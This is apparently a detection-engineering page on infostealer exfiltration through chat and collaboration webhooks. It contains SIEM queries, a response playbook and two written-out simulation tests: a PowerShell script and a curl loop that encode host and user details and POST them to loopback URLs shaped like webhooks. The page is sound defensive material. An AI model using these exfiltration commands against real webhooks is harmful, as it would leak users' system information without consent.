THREAT-WebhookAbuse-Exfiltration

Data Exfiltration via Abused Chat/Collaboration Webhooks

Exfiltration Last updated:

Adversaries and commodity malware increasingly exfiltrate collected data by POSTing it directly to a webhook URL belonging to a legitimate chat/collaboration platform (Discord, Slack, Microsoft Teams, Telegram Bot API) rather than to attacker-registered infrastructure. Because the destination is a trusted, widely-used SaaS domain (discord.com, hooks.slack.com, api.telegram.org, webhook.office.com), traffic blends with normal business or personal use and is rarely blocked by domain-category web filtering. Commodity infostealers (RedLine, Raccoon, and numerous Discord-webhook-based stealer builders sold on criminal forums) hardcode a webhook URL and POST harvested browser credentials, cookies, and system information as a JSON body immediately after collection. This differs from the HTTP-header-smuggling pattern already in this corpus (which hides data in header fields to evade body inspection) and from the cloud-storage rclone/AzCopy pattern (which uses dedicated sync tooling) by keying on two distinct signals: (1) an outbound POST request to a known webhook endpoint pattern (discord.com/api/webhooks/, hooks.slack.com/services/, api.telegram.org/bot) originating from a process that is not the platform's own client application, and (2) a JSON request body of unusual size or containing high-entropy/Base64-encoded content, since legitimate webhook integrations (CI/CD notifications, monitoring alerts) post small, low-entropy structured payloads.

What is THREAT-WebhookAbuse-Exfiltration Data Exfiltration via Abused Chat/Collaboration Webhooks?

Data Exfiltration via Abused Chat/Collaboration Webhooks (THREAT-WebhookAbuse-Exfiltration) maps to the Exfiltration tactic — the adversary is trying to steal data in MITRE ATT&CK.

This page provides production-ready detection logic for Data Exfiltration via Abused Chat/Collaboration Webhooks, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint (DeviceNetworkEvents, DeviceProcessEvents), Sysmon Event ID 1, 3, Proxy/web gateway logs. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Exfiltration
Microsoft Sentinel / Defender
kusto
let TimeWindow = 24h;
let WebhookDomains = dynamic(["discord.com", "discordapp.com", "hooks.slack.com", "api.telegram.org", "webhook.office.com", "outlook.office.com"]);
let LegitimateWebhookProcesses = dynamic(["teams.exe", "slack.exe", "discord.exe"]);
DeviceNetworkEvents
| where Timestamp > ago(TimeWindow)
| where ActionType =~ "ConnectionSuccess"
| where RemoteUrl has_any (WebhookDomains)
| where RemoteUrl has_any ("/api/webhooks/", "/services/", "/bot")
| where InitiatingProcessFileName !in~ (LegitimateWebhookProcesses)
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName,
    InitiatingProcessCommandLine, RemoteUrl, RemoteIP, SentBytes
| extend ThreatType = "Exfil_WebhookAbuse"
| join kind=leftouter (
    DeviceProcessEvents
    | where Timestamp > ago(TimeWindow)
    | where ProcessCommandLine has_any ("webhooks", "hooks.slack", "api.telegram.org", "FromBase64String", "ConvertTo-Json")
    | project DeviceName, AccountName, ScriptIndicatorCmd = ProcessCommandLine, ScriptTimestamp = Timestamp
  ) on DeviceName, AccountName
| where isempty(ScriptIndicatorCmd) or datetime_diff('minute', Timestamp, ScriptTimestamp) between (-5 .. 5)
| summarize
    PostCount = count(),
    TotalBytesSent = sum(SentBytes),
    Processes = make_set(InitiatingProcessFileName),
    SampleCommandLine = any(ScriptIndicatorCmd),
    FirstSeen = min(Timestamp),
    LastSeen = max(Timestamp)
  by DeviceName, AccountName, RemoteUrl
| extend RiskScore = iff(PostCount > 5 or TotalBytesSent > 50000, 80, 60)
| sort by RiskScore desc, PostCount desc

Detects data exfiltration via abused chat/collaboration webhooks by flagging outbound POST connections to known webhook domain patterns (Discord, Slack, Telegram Bot API, Microsoft Teams) that do not originate from the platform's own legitimate client application. Correlates with process-creation telemetry for scripting/encoding indicators (PowerShell FromBase64String/ConvertTo-Json, curl invocations referencing the same webhook domains) within a 5-minute window, then scores by POST frequency and total bytes sent — repeated or high-volume posts from a non-client process to a webhook URL are the strongest exfiltration signal.

high severity medium confidence

Data Sources

Microsoft Defender for Endpoint (DeviceNetworkEvents, DeviceProcessEvents) Sysmon Event ID 1, 3 Proxy/web gateway logs

Required Tables

DeviceNetworkEvents DeviceProcessEvents

False Positives

  • Legitimate CI/CD pipeline notifications posting build status to a Slack or Teams incoming webhook from a build agent
  • Monitoring/alerting tools (Grafana, PagerDuty, Nagios) configured to post alerts to a Discord or Slack webhook
  • Internal automation scripts (approved by IT) that relay application events to a team's Slack/Teams channel via webhook
  • Telegram or Discord bot integrations used for legitimate business notifications

Sigma rule & cross-platform mapping

The detection logic for Data Exfiltration via Abused Chat/Collaboration Webhooks (THREAT-WebhookAbuse-Exfiltration) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 2 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1PowerShell Exfiltration of Collected Data via Webhook-Style POST

    Expected signal: Sysmon Event ID 1: powershell.exe with ConvertTo-Json/FromBase64String-style command line. Sysmon Event ID 3: powershell.exe connecting to 127.0.0.1:8080 with a URI path matching /api/webhooks/. Proxy/packet capture (if present) shows a JSON POST body.

  2. Test 2Linux curl Chunked Exfiltration via Simulated Slack Incoming Webhook

    Expected signal: auditd/Sysmon-for-Linux: execve records for curl and connect() calls to 127.0.0.1:8080 at ~1-second intervals, six POSTs with a URI path matching /services/.


Response Playbook

Triage

  1. Identify the initiating process for the webhook connection — a browser or the platform's own client (Teams.exe, Slack.exe, Discord.exe) is expected; PowerShell, curl.exe, wscript.exe, or an unsigned binary is highly suspicious.
  2. Retrieve the full request body if proxy logging captures it, or the associated command line — legitimate webhook integrations post small, structured JSON (build status, alert text); exfiltrated data typically appears as large or Base64-encoded blobs.
  3. Check whether the webhook URL/token is known to the organisation (documented CI/CD or monitoring integration) or unrecognised — an unrecognised webhook ID/token strongly indicates attacker-controlled infrastructure riding on a legitimate SaaS domain.
  4. Review process ancestry: was the initiating process spawned by a browser download, an email attachment, or a scheduled task shortly before the webhook POST? This establishes the initial access vector.
  5. Estimate the volume and frequency of POSTs to the same webhook URL — repeated small POSTs may indicate chunked exfiltration of a larger dataset (credentials, keystrokes, screenshots) to stay under any body-size limits.

Containment

  1. Block the specific webhook URL (including the unique token/ID segment) at the proxy — blocking the entire domain (discord.com, slack.com) may break legitimate business use, so scope the block to the specific path where possible.
  2. Isolate the affected host via EDR if a non-client process is confirmed posting encoded/high-entropy data to the webhook.
  3. If the webhook belongs to an internal Slack/Teams/Discord workspace, revoke and regenerate the webhook token immediately to cut off the attacker's collection channel, and audit the workspace for the webhook's creation history.
  4. Identify what data was likely exfiltrated based on the process's file/registry access preceding the POST (e.g., browser credential store access, clipboard access) to scope the breach.

Evidence Collection

  1. Full proxy log entries for the flagged source/webhook pair, including request body if available
  2. Sysmon Event ID 1 command line for the initiating process, including any Base64-encoded arguments
  3. File creation/modification timestamps for the binary or script that performed the POST
  4. Browser credential store or clipboard access logs preceding the webhook POST, to determine data scope
  5. Workspace admin logs (Slack/Teams/Discord) showing webhook creation date, creator, and configured channel

Escalation Criteria

  • ! Confirmed non-client process posting Base64-encoded or high-entropy JSON payloads to an unrecognised webhook — active exfiltration
  • ! Webhook traffic correlates with credential store or browser cookie access on the same host in the preceding minutes
  • ! Same webhook URL/token observed posting from multiple internal hosts — fleet-wide compromise or worm-style propagation
  • ! The exfiltrated data scope includes credentials, session tokens, or regulated personal data

Investigation Guide

Forensic Artifacts

  • > Proxy/firewall logs capturing the full webhook URL path and, where SSL-inspected, the JSON request body
  • > Sysmon Event ID 3 (Network Connection) and Event ID 1 (Process Creation) correlated by timestamp and destination IP
  • > PowerShell ScriptBlock Log (Event ID 4104) if a PowerShell-based stealer constructed the webhook POST
  • > Malware sample / binary hash for the process performing the POST, for hardcoded-webhook-URL extraction and attribution
  • > Workspace admin console logs (Slack/Discord/Teams) showing webhook token creation and recent invocation history

Tuning Guidance

Build an allowlist of the organisation's known, IT-approved webhook URLs (CI/CD notification hooks, monitoring integrations) and exclude their exact path from the alert to avoid recurring noise from legitimate automation. Because the destination domains are widely used for legitimate personal and business chat, avoid domain-level blocking; instead scope containment to the specific webhook path/token. Where SSL-inspecting proxies are available, enable body capture for these domains so the JSON payload can be inspected for entropy/size rather than relying solely on connection metadata. Pair this detection with EDR process-lineage rules that flag scripting engines (PowerShell, wscript, Python) making outbound HTTPS POSTs, since commodity stealers frequently use these interpreters rather than compiled binaries.


Hunting Queries

Hunt over 30 days for any process other than the recognised platform client connecting to webhook endpoints — establishes a baseline of legitimate automation (CI/CD, monitoring) versus unexpected/unknown webhook usage that warrants individual review.

Hunting — KQL
kql
// Hunt for any historical connections to webhook endpoints not attributable to the platform client
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any ("discord.com/api/webhooks", "discordapp.com/api/webhooks", "hooks.slack.com/services", "api.telegram.org/bot")
| where InitiatingProcessFileName !in~ ("Teams.exe", "Slack.exe", "Discord.exe")
| summarize Hits=count(), Devices=dcount(DeviceName), Days=dcount(bin(Timestamp,1d)) by RemoteUrl, InitiatingProcessFileName
| sort by Hits desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 earliest=-30d
  (DestinationHostname="*discord.com*" OR DestinationHostname="*hooks.slack.com*" OR DestinationHostname="*api.telegram.org*")
  NOT Image IN ("*\\Teams.exe", "*\\Slack.exe", "*\\Discord.exe")
| stats count AS Hits, dc(host) AS Devices BY DestinationHostname, Image
| sort - Hits

Atomic Red Team Tests

Test 1 PowerShell Exfiltration of Collected Data via Webhook-Style POST
windows

Simulates a commodity-stealer-style exfiltration technique by collecting basic system information, Base64-encoding it, and POSTing it as a JSON body to a webhook-shaped loopback endpoint rather than a real Discord/Slack webhook, so no external traffic or real service abuse occurs.

Command

powershell
$Info = @{ host = $env:COMPUTERNAME; user = $env:USERNAME; procs = ((Get-Process | Select-Object -First 5 Name).Name -join ',') } | ConvertTo-Json -Compress
$EncodedContent = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($Info))
$Body = @{ content = $EncodedContent } | ConvertTo-Json -Compress
try { Invoke-WebRequest -Uri 'http://127.0.0.1:8080/api/webhooks/000000000000000000/test' -Method Post -Body $Body -ContentType 'application/json' -TimeoutSec 3 -ErrorAction SilentlyContinue } catch {}
Write-Host 'Atomic test THREAT-WebhookAbuse-Exfiltration (PowerShell) complete - check proxy/Sysmon telemetry'

Expected Telemetry

Sysmon Event ID 1: powershell.exe with ConvertTo-Json/FromBase64String-style command line. Sysmon Event ID 3: powershell.exe connecting to 127.0.0.1:8080 with a URI path matching /api/webhooks/. Proxy/packet capture (if present) shows a JSON POST body.

Expected Detection

KQL/SPL: outbound connection to a webhook-shaped URL path from a non-client process (powershell.exe), scored via RiskScore/PostCount thresholds once repeated.

Test 2 Linux curl Chunked Exfiltration via Simulated Slack Incoming Webhook
linux

Simulates chunked exfiltration of harvested data to a Slack-style incoming webhook by splitting a payload into multiple small JSON POSTs sent in quick succession to a loopback endpoint, reflecting how commodity stealers stay under per-message size limits.

Command

bash
PAYLOAD=$(echo "user:$(whoami) host:$(hostname)" | base64)
for i in $(seq 1 6); do
  curl -s -X POST -H 'Content-Type: application/json' -d "{\"text\":\"chunk_${i}_${PAYLOAD}\"}" --connect-timeout 2 'http://127.0.0.1:8080/services/T00000/B00000/testtoken' 2>/dev/null || true
  sleep 1
done
echo 'Linux chunked webhook exfiltration simulation complete'

Expected Telemetry

auditd/Sysmon-for-Linux: execve records for curl and connect() calls to 127.0.0.1:8080 at ~1-second intervals, six POSTs with a URI path matching /services/.

Expected Detection

PostCount reaches 6 within the correlation window, contributing to the RiskScore >5-post threshold; Base64-encoded content in the body corroborates the encoding indicator.

Related Detections

Detection Variants (1)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.